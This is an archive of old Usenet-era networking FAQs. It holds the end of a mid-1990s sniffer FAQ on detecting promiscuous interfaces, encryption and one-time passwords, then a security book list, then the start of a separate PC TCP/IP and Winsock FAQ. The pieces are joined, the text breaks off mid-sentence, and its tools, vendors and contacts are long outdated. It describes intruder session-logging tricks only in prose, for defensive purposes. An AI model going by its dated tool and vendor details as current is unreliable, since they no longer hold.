DOS based sniffers * Gobbler for IBM DOS Machines * ethdump v1.03 Available on ftp ftp.germany.eu.net:/pub/networking/inet/ethernet/ethdp103.zip * ethload v1.04 Companion utility to a ethernet monitor. Available on ftp ftp.germany.eu.net:/pub/networking/monitoring/ethload/ethld104.zip Commercial Sniffers are available at: * Network General. Network General produces a number of products. The most important are the Expert Sniffer, which not only sniffs on the wire, but also runs the packet through a high-performance expert system, diagnosing problems for you. There is an extension onto this called the "Distributed Sniffer System" that allows you to put the console to the expert sniffer on you Unix workstation and to distribute the collection agents at remote sites. * Microsoft's Net Monitor " My commercial site runs many protocols on one wire - NetBeui, IPX/SPX, TCP/IP, 802.3 protocols of various flavors, most notably SNA. This posed a big problem when trying to find a sniffer to examine the network problems we were having, since I found that some sniffers that understood Ethernet II parse out some 802.3 traffic as bad packets, and vice versa. I found that the best protocol parser was in Microsoft's Net Monitor product, also known as Bloodhound in its earlier incarnations. It is able to correctly identify such oddities as NetWare control packets, NT NetBios name service broadcasts, etc, which etherfind on a Sun simply registered as type 0000 packet broadcasts. It requires MS Windows 3.1 and runs quite fast on a HP XP60 Pentium box. Top level monitoring provides network statistics and information on conversations by mac address (or hostname, if you bother with an ethers file). Looking at tcpdump style details is as simple as clicking on a conversation. The filter setup is also one of the easiest to implement that I've seen, just click in a dialog box on the hosts you want to monitor. The number of bad packets it reports on my network is a tiny fraction of that reported by other sniffers I've used. One of these other sniffers in particular was reporting a large number of bad packets with src mac addresses of aa:aa:aa:aa:aa:aa but I don't see them at all using the MS product. - Anonymous ------------------------------------------------------------------------------- How to detect a sniffer running. To detect a sniffing device that only collects data and does not respond to any of the information, requires physically checking all your ethernet connections by walking around and checking the ethernet connections individually. It is also impossible to remotely check by sending a packet or ping if a machine is sniffing. A sniffer running on a machine puts the interface into promiscuous mode, which accepts all the packets. On some Unix boxes, it is possible to detect a promiscuous interface. It is possible to run a sniffer in non-promiscuous mode, but it will only capture sessions from the machine it is running on. It is also possible for the intruder to do similiar capture of sessions by trojaning many programs such as sh, telnet, rlogin, in.telnetd, and so on to write a log file of what the user did. They can easily watch the tty and kmem devices as well. These attacks will only compromise sessions coming from that one machine, while promiscuous sniffing compromises all sessions on the ethernet. For SunOs, NetBSD, and other possible BSD derived Unix systems, there is a command "ifconfig -a" that will tell you information about all the interfaces and if they are in promiscuous mode. DEC OSF/1 and IRIX and possible other OSes require the device to be specified. One way to find out what interface is on the system, you can execute: # netstat -r Routing tables Internet: Destination Gateway Flags Refs Use Interface default iss.net UG 1 24949 le0 localhost localhost UH 2 83 lo0 Then you can test for each interface by doing the following command: #ifconfig le0 le0: flags=8863&lt;UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST&gt; inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1 Intruders often replace commands such as ifconfig to avoid detection. Make sure you verify its checksum. There is a program called cpm available on ftp.cert.org:/pub/tools/cpm that only works on Sunos and is suppose to check the interface for promiscuous flag. Ultrix can possibly detect someone running a sniffer by using the commands pfstat and pfconfig. pfconfig allows you to set who can run a sniffer pfstat shows you if the interface is in promiscuous mode. These commands only work if sniffing is enabled by linking it into the kernel. by default, the sniffer is not linked into the kernel. Most other Unix systems, such as Irix, Solaris, SCO, etc, do not have any flags indication whether they are in promiscuous mode or not, therefore an intruder could be sniffing your whole network and there is no way to detect it. Often a sniffer log becomes so large that the file space is all used up. On a high volume network, a sniffer will create a large load on the machine. These sometimes trigger enough alarms that the administrator will discover a sniffer. I highly suggest using lsof (LiSt Open Files) available from coast.cs.purdue.edu:/pub/Purdue/lsof for finding log files and finding programs that are accessing the packet device such as /dev/nit on SunOs. There is no commands I know of to detect a promiscuous IBM PC compatible machine, but they atleast usually do not allow command execution unless from the console, therefore remote intruders can not turn a PC machine into a sniffer without inside assistance. ------------------------------------------------------------------------------- Stopping sniffing attacks Active hubs send to each system only packets intended for it rendering promiscuous sniffing useless. This is only effective for 10-Base T. The following vendors have available active hubs: * 3Com * HP ------------------------------------------------------------------------------- Encryption There are several packages out there that allow encryption between connections therefore an intruder could capture the data, but could not decypher it to make any use of it. Some packages available are: * deslogin is one package available at ftp coast.cs.purdue.edu:/pub/tools/unix/deslogin . * swIPe is another package available at ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/ * Netlock encrypts all (tcp, udp, and raw ip based) communications transparently. It has automatic (authenticated Diffie-Helman) distibuted key management mechanism for each host and runs on the SUN 4.1 and HP 9.x systems. The product comes with a Certification Authority Management application which generates host certificates (X.509) used for authentication between the hosts. and provides centralized control of each Hosts communications rules. The product is built by Hughes Aircraft and they can be reached at 800-825-LOCK or email at netlock@mls.hac.com. ------------------------------------------------------------------------------- Kerberos Kerberos is another package that encrypts account information going over the network. Some of its draw backs are that all the account information is held on one host and if that machine is compromised, the whole network is vulnerable. It is has been reported a major difficulty to set up. Kerberos comes with a stream-encrypting rlogind, and stream-encrypting telnetd is available. This prevents intruders from capturing what you did after you logged in. There is a Kerberos FAQ at ftp at rtfm.mit.edu in /pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11 ------------------------------------------------------------------------------- One time password technology S/key and other one time password technology makes sniffing account information almost useless. S/key concept is having your remote host already know a password that is not going to go over insecure channels and when you connect, you get a challenge. You take the challenge information and password and plug it into an algorithm which generates the response that should get the same answer if the password is the same on the both sides. Therefore the password never goes over the network, nor is the same challenge used twice. Unlike SecureID or SNK, with S/key you do not share a secret with the host. S/key is available on ftp:thumper.bellcore.com:/pub/nmh/skey Other one time password technology is card systems where each user gets a card that generates numbers that allow access to their account. Without the card, it is improbable to guess the numbers. The following are companies that offer solutions that are provide better password authenication (ie, handheld password devices): Secure Net Key (SNK) Digital Pathways, Inc. 201 Ravendale Dr. Mountainview, Ca. 97703-5216 USA Phone: 415-964-0707 Fax: (415) 961-7487 Secure ID Security Dynamics, One Alewife Center Cambridge, MA 02140-2312 USA Phone: 617-547-7820 Fax: (617) 354-8836 Secure ID uses time slots as authenication rather than challenge/response. ArKey and OneTime Pass Management Analytics PO Box 1480 Hudson, OH 44236 Email: fc@all.net Tel:US+216-686-0090 Fax: US+216-686-0092 OneTime Pass (OTP): This program provides unrestricted one-time pass codes on a user by user basis without any need for cryptographic protocols or hardware devices. The user takes a list of usable pass codes and scratches out each one as it is used. The system tracks usage, removing each passcode from the available list when it is used. Comes with a very small and fast password tester and password and pass phrase generation systems. ArKey: This is the original Argued Key system that mutually authenticates users and systems to each other based on their common knowledge. No hardware necessary. Comes with a very small and fast password tester and password and pass phrase generation systems. WatchWord and WatchWord II Racal-Guardata 480 Spring Park Place Herndon, VA 22070 703-471-0892 1-800-521-6261 ext 217 CRYPTOCard Arnold Consulting, Inc. 2530 Targhee Street, Madison, Wisconsin 53711-5491 U.S.A. Phone : 608-278-7700 Fax: 608-278-7701 Email: Stephen.L.Arnold@Arnold.Com CRYPTOCard is a modern, SecureID-sized, SNK-compatible device. SafeWord Enigma Logic, Inc. 2151 Salvio #301 Concord, CA 94520 510-827-5707 Fax: (510)827-2593 For information about Enigma ftp to: ftp.netcom.com in directory /pub/sa/safeword Secure Computing Corporation: 2675 Long Lake Road Roseville, MN 55113 Tel: (612) 628-2700 Fax: (612) 628-2701 debernar@sctc.com ------------------------------------------------------------------------------- Non-promiscuous Interfaces You can try to make sure that most IBM DOS compatible machines have interfaces that will not allow sniffing. Here is a list of cards that do not support promiscuous mode: Test the interface for promiscuous mode by using the Gobbler. If you find a interface that does do promiscuous mode and it is listed here, please e-mail cklaus@iss.net so I can remove it ASAP. IBM Token-Ring Network PC Adapter IBM Token-Ring Network PC Adapter II (short card) IBM Token-Ring Network PC Adapter II (long card) IBM Token-Ring Network 16/4 Adapter IBM Token-Ring Network PC Adapter/A IBM Token-Ring Network 16/4 Adapter/A IBM Token-Ring Network 16/4 Busmaster Server Adapter/A The following cards are rumoured to be unable to go into promiscuous mode, but that the veracity of those rumours is doubtful. Microdyne (Excelan) EXOS 205 Microdyne (Excelan) EXOS 205T Microdyne (Excelan) EXOS 205T/16 Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card/8 Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card/8 Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card/16 Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card/32 HP 27247B EtherTwist Adapter Card/16 TP Plus HP 27252A EtherTwist Adapter Card/16 TP Plus HP J2405A EtherTwist PC LAN Adapter NC/16 TP Adapters based upon the TROPIC chipset generally do not support promiscuous mode. The TROPIC chipset is used in IBM's Token Ring adapters such as the 16/4 adapter. Other vendors (notably 3Com) also supply TROPIC based adapters. TROPIC-based adapters do accept special EPROMs, however, that will allow them to go into promiscuous mode. However, when in promiscuous mode, these adapters will spit out a "Trace Tool Present" frame. ------------------------------------------------------------------------------- Acknowledgements I would like to thank the following people for the contribution to this FAQ that has helped to update and shape it: * Padgett Peterson (padgett@tccslr.dnet.mmc.com) * Steven Bellovin (smb@research.att.com) * Wietse Venema (wietse@wzv.win.tue.nl) * Robert D. Graham (robg@NGC.COM) * Kevin Martinez (kevinm@beavis.qntm.com) * Frederick B. Cohen (fc@all.net) * James Bonfield (jkb@mrc-lmb.cam.ac.uk) * Marc Horowitz (marc@MIT.EDU) * Steve Edwards (steve@newline.com) * Andy Poling (Andy.Poling@jhu.edu) * Jeff Collyer (jeff@cnet-pnw.com) * Sara Gordon (sgordon@sun1.iusb.indiana.edu) ------------------------------------------------------------------------------- Copyright This paper is Copyright (c) 1994, 1995 by Christopher Klaus of Internet Security Systems, Inc. Permission is hereby granted to give away free copies electronically. You may distribute, transfer, or spread this paper electronically. You may not pretend that you wrote it. This copyright notice must be maintained in any copy made. If you wish to reprint the whole or any part of this paper in any other medium (ie magazines, books, etc) excluding electronic medium, please ask the author for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Address of Author Please send suggestions, updates, and comments to: Christopher Klaus &lt;cklaus@iss.net&gt; of Internet Security Systems, Inc. &lt;iss@iss.net&gt; Internet Security Systems, Inc. Internet Security Systems, Inc, located in Atlanta, Ga., specializes in the developement of security scanning software tools. Its flagship product, Internet Scanner, is software that learns an organization's network and probes every device on that network for security holes. It is the most comprehensive "attack simulator" available, checking for over 100 security vulnerabilities. -- Christopher William Klaus Voice: (404)441-2531. Fax: (404)441-2431 Internet Security Systems, Inc. Computer Security Consulting 2000 Miller Court West, Norcross, GA 30071 __________________________________________________________________________ Books to check out: I am adding these books because I have a text file that lists all of these with a review. General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Computer Security Management Author: Karen Forcht Publisher: Boyd and Fraser Copyright Date: 1994 ISBN: 0-87835-881-1 Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 N The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) N Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. N Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 N Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: N Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book. Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
ISBN: 0-12-638010-4

Cryptography
~~~~~~~~~~~~

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
ISBN: 0-471-59756-2

Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
ISBN: 0-13-185596-4

Programmed Threats
~~~~~~~~~~~~~~~~~~

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
ISBN: 0-929408-02-0

The original, and still the best, book on computer viruses.
No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
ISBN:

Telephony
~~~~~~~~~

Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
ISBN: 0-932764-04-5

Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
ISBN: 0-8273-4615-8

I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.

Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
ISBN:

N The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
ISBN: 0-89043-364-x

Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.

N Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
ISBN:

Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
ISBN: 0-553-56370-X

Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 _________________________________________________________________________ If you still are not satisfied: The TCP/IP FAQ is posted to news:comp.protocols.tcp-ip, and is maintained by mailto:gnn@netcom.com The Windows NT Internet FAQ, written by Steve Scoggins, mailto:sscoggin@enet.net, is available via: http://www.luc.edu/~tbaltru/faq/ The HTML version is maintained by Tom Baltrushaytis, mailto:tbaltru@orion.it.luc.edu This FAQ covers how to set up Windows NT for Internet access and various Internet resources specific to Windows NT. If you are using NT RAS for TCP/IP connectivity, then you should read this FAQ. The ASCII text version is available via anonymous ftp from URL: ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_1_2 ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_2_2 The "How To Get It" FAQ on the Crynwr packet driver collection is irregularly posted to news:comp.protocols.tcp-ip.ibmpc by Russ Nelson, mailto:nelson@crynwr.com. ########### COOL WWW PAGES relating to TCP/IP ########## http://www.charm.net/ppp.html (Cool home page with lots of pointers to TCP/IP stuff) http://www.zilker.net/users/internaut/update.html (This FAQ, in HTML) http://www.crynwr.com/crynwr/nelson.html (Crynwr Software Home Page) ftp://ftp.biostat.washington.edu/ftp...network.setups ################# EXAMPLE CONFIG FILES ################# Many thanks to Dave Fetrow (mailto:fetrow@biostat.washington.edu) for creating an archive of setup files. The archive is particularly oriented toward sets of applications that are somewhat tricky, such as combinations involving different driver sets, mixtures of NetWare, TCP/IP, and W4WG, etc. Please include not only the setup and configuration files but some directions. Comments included with the setup files are highly desirable. The files can include your name if you desire. Please mail submissions to mailto:ftp@ftp.biostat.washington.edu. The archive itself is located at: ftp://ftp.biostat.washington.edu/ftp...network.setups Late breaking development: the archive has crashed, and files have been lost. TABLE OF CONTENTS A. Components of a TCP/IP solution A-1. What do I need to run TCP/IP on the PC? A-2. What are packet drivers? Where do I get them? A-3. What is Winsock? Where can I get it? A-4. What is Trumpet Winsock? How do I get it to dial? A-5. What publicly distributable TCP/IP applications are there for DOS? Windows? A-6. What software is available for doing SLIP? Compressed SLIP? PPP? For DOS? For Windows? A-7. What about the software included with various books? A-8. What diagnostic utilities are available to find problems with my connection? Where can I get them? A-9. Is there a CD-ROM with the software included in this FAQ? A-10. Does Windows NT support SLIP? PPP? A-11. Where can I get Microsoft TCP/IP-32? A-12. How do I get my BBS to run over TCP/IP? A-13. Are there graphical TCP/IP servers out there? A-14. What methods of dynamic address assignment are available? A-15. How can I set up PPP server on a UNIX host? A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP? A-17. What proxy servers are available for use with Web browsers? A-18. Why doesn't my Web browser support direct WAIS queries? A-19. What is SOCKS? What TCP/IP stacks support it? A-20. How can I handle authentication on my NNTP server? A-21. What is SLIPKnot? A-22. What is TWinSock? A-23. How do I get info on the ODI specification? A-24. What is WinISDN? B. Questions about drivers B-1. What do I need to know before setting up SLIP or PPP? B-2. How do I configure SLIPDISK? B-3. How do I install packet drivers for Windows applications? B-4. When do I need to install WINPKT? B-5. How to do I run both WinQVT and ODI? B-6. Is it possible to use BOOTP over SLIP? B-7. How do SLIP drivers work? B-8. When do I need to install PKTMUX? B-9. Can NDIS be used underneath multiple protocol stacks of the same type? B-10. Is there an NDIS over packet driver shim? B-11. How do I run NetBIOS over TCP/IP? B-12. How do I run NFS and another TCP/IP application? B-13. How do I run Trumpet Winsock along with KA9Q or NFS? B-14. I am trying to run Netware and TCP/IP at the same time, using PDETHER. How do I do this? B-15. Sample Stick Diagrams B-16. Strange and wonderful configuration files submitted by readers C. KA9Q Questions [part 2] C-1. What version of KA9Q should I use and where do I get it? C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation? C-3. How do I configure KA9Q as a SLIP dialup connection? C-4. How do I configure KA9Q as a router? C-5. How do I get KA9Q to support BOOTP? C-6. How do I get KA9Q to support PPP? C-7. How do I get KA9Q to support SLIP dialin? C-8. Can I use KA9Q as a packet filter? C-9. Can I use KA9Q as a BOOTP server? C-10. Where can I get a manual for KA9Q? C-11. Is there a way to prevent KA9Q from listening to ICMP redirect packets? RIP packets? C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to turn off this (rather undesirable) behavior? C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router and it isn't working. What's wrong? D. PCROUTE and PCBRIDGE D-1. How do I get PCROUTE set up? D-2. I want to use MS TCP/IP-32 to contact a host over a serial link, but have no SLIP or PPP driver. What do I do? D-3. How do I get PCBRIDGE to use a SLIP or PPP driver? D-4. Can I get PCROUTE to switch off RIP? E. Windows NT E-1. Does Windows NT support OSPF or RIP? What can I do to get around this? E-2. Why shouldn't I try to install Trumpet Winsock on NT? E-3. Where can I find out more about SMB? What ports does it use? F. Hints for particular packages F-1. How do I get DesQView X to run over the network? F-2. Why is NFS so slow compared with FTP? F-3. Where can I get information on running NetWare and TCP/IP concurrently? F-4. What NetWare TCP/IP NLMs are out there and how do I get them to work? F-5. How do I get a telecom package supporting Int 14h redirection to work? F-6. I am having trouble running Netmanage Chameleon apps along with WFW TCP/IP-32. What do I do? F-7. How do I get Windows For Workgroups to work alongside NetWare? F-9. How come package X doesn't support the AppleTalk packet driver? F-10. NCSA Telnet doesn't reassemble fragments. What should I do? F-11. I am trying to configure a Macintosh to set its parameters automatically on bootup, but it isn't working. What's wrong? F-12. I've heard that DHCP is a potential security risk. Is this true? F-13. What is TIA? F-14. What PC TCP/IP implementations support recent advances? F-15. What network adapters have on-board SNMP agents? F-16. What is the easiest way to get WFW and Novell Netware to coexist? F-17. I'm trying to use packet driver software alongside WFW v3.11 and am having a hell of a time. What should I do? F-18. What proxy software is available for those concerned about security? F-19. How do I mount ftp.microsoft.com on the desktop using file manager? F-20. I am having trouble connecting to a Windows NT PPP server. What should I do? F-21. When should I use COMT? F-22. What version of POP should I be running alongside Eudora? F-23. How do I use Netscape to read local files? F-24. I want to run an NNTP server under OS/2. Does such an animal exist? G. Information for developers G-1. What publicly distributable TCP/IP stacks are there that I can use to develop my own applications? G-2. Where can I get a copy of the Windows Sockets FAQ? G-3. How do I do multicasting using Windows Sockets? --------------------- FAQ Begins Here --------------------------- A. Components of a TCP/IP solution A-1. What do I need to run TCP/IP on the PC? To run TCP/IP on the PC you will need: * Appropriate hardware, such as: Ethernet card Token Ring card AppleTalk card Serial Port Any other network card with a packet driver or NDIS or ODI driver, (such as Arcnet), will also work. If your card supports NetBIOS, this is also acceptable, since you can run a packet-driver-over- NetBIOS shim. * Drivers for your hardware. Your card probably came with one or more of the following drivers: Network Device Interface Specification (NDIS) drivers [spec. by 3Com and Microsoft, used by LAN Manager, Windows for Workgroups, and Windows NT. LAN Manager uses NDIS 2.0, Windows NT uses 3.0, and WFW supports 2.0 and will support 3.0] ODI Drivers [spec. by Novell, abbreviation for Open DataLink Interface] Packet Drivers [spec. by FTP Software] TCP/IP stacks have been written for each of these driver interfaces, so the important thing is whether your chosen stack is compatible with the interface available for your card. A shim is software that runs on top of one set of drivers to provide an interface equivalent to another set. This is useful, for example,if you are looking to run software requiring an NDIS driver(such as Chameleon NFS) alongside software requiring a packet driver interface (such as KA9Q, Gopher, Popmail, NCSA Telnet, etc.), or run software intended for, say, a packet driver over an NDIS driver instead. Shims are available to run packet drivers over NetBIOS, ODI, or NDIS, in order to run software expecting a packet driver over NDIS, ODI, or NetBIOS instead. There are also shims to run NDIS over ODI (ODINSUP), and ODI over Packet Drivers (PDETHER). * A TCP/IP protocol stack. The TCP/IP protocol stack runs on top of the driver software, and uses it to access your hardware. If you are running a TCP/IP protocol stack that requires drivers that aren't available for your hardware, you're in trouble. Check into this before purchasing! For DOS, in many cases a TCP/IP stack is built into the applications. This is true for a great many of the packet driver applications, including KA9Q, and the WATTCP applications. * If running Windows applications that require it, WINSOCK.DLL. Windows Sockets is a sockets interface which was created as a Windows DLL. Each TCP/IP implementation requires its own version of Windows Sockets. Trumpet Winsock and VxDTCP are the only two publicly distributable Windows Sockets implementations. WINSOCK.DLL provides 16-bit support; WSOCK32.DLL provides 32-bit support. * Applications software. Although most of us in this newsgroup seem to spend our time looking for working combinations of applications,WINSOCK.DLLs, Windows Sockets compliant TCP/IP implementations, shims, drivers, and hardware, ultimately your goal is eventually to run an application successfully. If and when that happens, please send me a note, so I can add it to this FAQ. A-2. What are packet drivers? Where do I get them? Packet drivers provide a software interface that is independent of the interface card you are using, but NOT independent of the particular network technology. As Frances K. Selkirk (mailto:fks@vaxeline.ftp.com) notes: "That's one reason they're easier to write than ODI drivers! If you write a class three (802.5 Token Ring) driver, you will need to use software that expects a class three driver, not software that expects a class 1 (DIX ethernet) driver. There are a few drivers that fake class 1. I believe only class 1 and class 6 (SLIP) drivers are supported by freeware packages." The chances are fair that your Ethernet card came with a packet driver, and if so, you should try that first. If not, then you can try one of the drivers from the Crynwr collection (formerly called the Clarkson Drivers). See the Resource listing for info. For 3COM drivers, try ftp://ftp.3com.com/pub For technical information, try mailto:info@3com.com. For marketing and product info, try mailto:leads@hq.3mail.3com.com.The packet driver specification is available from ftp://vax.ftp.com/packet-d.ascii The following vendors have packet drivers with source available for their pocket lan adaptors: D-Link - +1-714-455-1688 Solectek - +1-619-450-1220 Accton - +1-408-452-8900 Compulan - +1-408-922-6888 (soon Kodiak's Noteport - +1-408-441-6900) You can obtain a complete library of packet drivers from many of the Simtel20 mirror sites, including: ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip, ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip. A-3. What is Windows Sockets? Where can I get it? The idea for Windows Sockets was born at Fall Interop '91, during a Birds of a Feather session. From the Windows Sockets specification: [courtesy of Mark Towfiq, mailto:towfiq@Microdyne.COM]: The Windows Sockets Specification is intended to provide a single API to which application developers can program and multiple network software vendors can conform. Furthermore, in the context of a particular version of Microsoft Windows, it defines a binary interface (ABI) such that an application written to the Windows Sockets API can work with a conformant protocol implementation from any network software vendor. Windows Sockets will be supported by Windows, Windows for Workgroups, Win32s, and Windows NT. It will also support protocols other than TCP/IP. Under Windows NT, Microsoft will provides Windows Sockets support over TCP/IP and IPX/SPX. DEC will be implementing DECNet. Windows NT will include mechanisms for multiple protocol support in Windows Sockets, both 32-bit and 16-bit. Mark Towfiq writes: "Files and information related to the Windows Sockets API are available via ftp://sunsite.unc.edu/pub/micro/pc-s...ndows/winsock, which is a mirror of ftp://microdyne.com/pub/winsock (SunSite has a much faster connection to the Internet, so you are advised to use that). If you do not have FTP access to the Internet, send a message with the word "help" in the body to either mailto:ftpmail@SunSite.UNC.Edu, or mailto:ftpmail@DECWRL.DEC.Com, to obtain information about the FTP to Mail service there." Alternative sources for the Windows Sockets specification include ftp://ftp.microsoft.com/ (an FTP server running NT), as well as the Microsoft forum on CompuServe (go msl). Currently NetManage (NEWT), Distinct, Spry, FTP and Frontier are shipping Winsock TCP/IP stacks, as is Microsoft (Windows NT and TCP/IP for WFW), Beame & Whiteside Software (v1.1 compliant), and Sun PC-NFS. If you are looking for a Winsock.dll, you should first contact your TCP/IP stack vendor. Novell has one in beta for their Lan Workplace for DOS. A-4 What is Trumpet Winsock? How can I get it to dial? Peter Tattam has released a shareware Windows Sockets compliant TCP/IP stack. You can obtain it via ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip, ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip ftp://biochemistry.bioc.cwru.edu/pub...k/winsock.zip. ftp://biochemistry.bioc.cwru.edu/pub...k/winapps.zip. The first thing to do after you download WINSOCK.ZIP is to create a directory for Trumpet Winsock, such as C:/TRUMPWSK, and put it in your DOS PATH statement. Trumpet Winsock operates over packet drivers, or over a serial port using its own built-in SLIP/CSLIP and PPP. If you are using a network adapter, this means that you will have to locate a packet driver for your adapter, and load it. Trumpet Winsock also comes with WINPKT, and this is loaded next, via the command WINPKT.COM 0x60 [or whatever the software interrupt for your packet driver] You will then enter Windows, and create a group in the Program Manager for all the files that come with Trumpet Winsock. The stack itself is loaded by executing TCPMAN. Applications that come with it include WinCHAT, a chatting program; PINGW, a ping utility; FTPW for FTP, WINARCH for Archie. When you first execute TCPMAN, you will be asked to fill out the setup information for the stack. Select whether you will be using a network adapter or SLIP; you cannot use both. Since Trumpet Winsock now supports PPP, you do not need to load an Ethernet simulation drivers such as EtherPPP. If for some reason you don't like Trumpet Winsock's scripting language, you can use any other comm program that doesn't drop 